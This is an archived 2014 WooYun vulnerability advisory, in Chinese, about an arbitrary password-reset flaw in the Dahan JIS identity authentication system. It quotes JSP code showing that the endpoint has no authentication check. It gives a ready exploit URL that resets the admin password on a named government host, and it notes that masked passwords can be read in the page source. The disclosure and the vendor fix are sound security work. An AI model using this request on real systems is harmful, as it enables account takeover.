[公开漏洞]大汉版通JIS统一身份认证系统某处可任意修改用户密码 - 漏洞预警

大汉版通JIS统一身份认证系统某处可任意修改用户密码相关厂商：南京大汉网络有限公司漏洞作者：wefgod 提交时间：2014-02-06 11:44 公开时间：2014-05-07 11:44 漏洞类型：设计缺陷/逻辑错误危害等级：高自评Rank：15 漏洞状态：厂商已经确认漏洞来源：http://www.wooyun.org Tags标签：逻辑错误设计不当导致攻击界面扩大代码审计漏洞详情披露状态：

2014-02-06：细节已通知厂商并且等待厂商处理中
2014-02-09：厂商已经确认，细节仅向厂商公开
2014-02-12：细节向第三方安全合作伙伴开放
2014-02-19：细节向核心白帽子及相关领域专家公开
2014-03-01：细节向普通白帽子公开
2014-03-21：细节向实习白帽子公开
2014-05-07：细节向公众公开

简要描述：

不敢乱改。直接就可以改任何用户的密码，不用知道原密码，和之前有的大牛提交的漏洞是不一样的类型。

详细说明：

就修改了一个2.2.1版本的来测试。因为这个已经知道了后台密码，已经修改回去了。

另外，星号密码可在源码查看的问题，也顺便一起丢上来好了

漏洞证明：

http://management.ysx.gov.cn/jis/check/jportal/myinfo_do.jsp

//定义用户对象

         Merp_Pub_UserEntity userEntity = new Merp_Pub_UserEntity();

   //定义操作类

    UserBLF userBlf = new UserBLF(request);

   //获取登录名

    String loginid=Convert.getParameter(request, "loginid", "", true, true);

    String siteurl = Convert.getParameter(request, "siteurl", "", true, true);

         String year = Convert.getParameter(request, "year", "", true, true);

         String month = Convert.getParameter(request, "month", "", true,true);

         String day = Convert.getParameter(request, "day", "", true, true);

         String vc_sex = Convert.getParameter(request, "vc_sex", "", true, true);

         String vc_email=Convert.getParameter(request, "vc_email", "", true, true);

         String sex="";

         if (vc_sex.equals("男")) {

            sex = "1";

      } else {

            sex = "0";

         }

         String vc_newpassword = Convert.getParameter(request,"new_password","",true,true);

没有用户的身份验证、各类参数都纯粹是从用户提交的数据中获取的。

利用方法：

/jis/check/jportal/myinfo_do.jsp?loginid=admin&vc_email=&new_password=123456&vc_username=admin

直接可以修改admin的密码

登录一看源码就知道已经改成123456了

上面的图片也可以看出，星号密码是可以直接查看的，在普通用户的界面也是有这个问题：

修复方案：

危害等级：中

漏洞Rank：10

确认时间：2014-02-09 09:18

厂商回复：

非常感谢您对大汉产品的关注以及对产品安全方面的指正，涉及问题已在新版本中修复。